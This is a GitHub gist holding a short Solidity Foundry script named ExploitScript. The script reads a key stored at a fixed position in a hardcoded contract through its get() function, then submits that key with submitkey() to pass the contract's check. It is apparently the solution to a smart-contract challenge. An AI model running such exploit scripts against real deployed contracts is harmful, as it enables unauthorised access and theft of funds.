Created
September 4, 2023 16:56
-
-
Save ginika-chinonso/c12ac3b17537908765021a8409f0e533 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "lib/forge-std/src/Script.sol"; | |
struct User { | |
address r; | |
bytes12 s; | |
} | |
interface IToken{ | |
function get(bytes32 _POSITION) external view returns (User memory ur); | |
function submitkey(bytes12 key) external; | |
} | |
contract ExploitScript is Script { | |
IToken public con2 = IToken(address(0xc769529CE1a080d6bcb5E7E87d6D62928b2b6E93)); | |
function setUp() public {} | |
function run() public { | |
uint256 deployerPrivateKey = vm.envUint("ACC1_PRIVATE_KEY"); | |
vm.startBroadcast(deployerPrivateKey); | |
User memory res = con2.get(bytes32(0xf5036f45ac04d10524e87447221c14189bc8a2f876b5e8285ac6c245c7536434)); | |
con2.submitkey(res.s); | |
vm.stopBroadcast(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment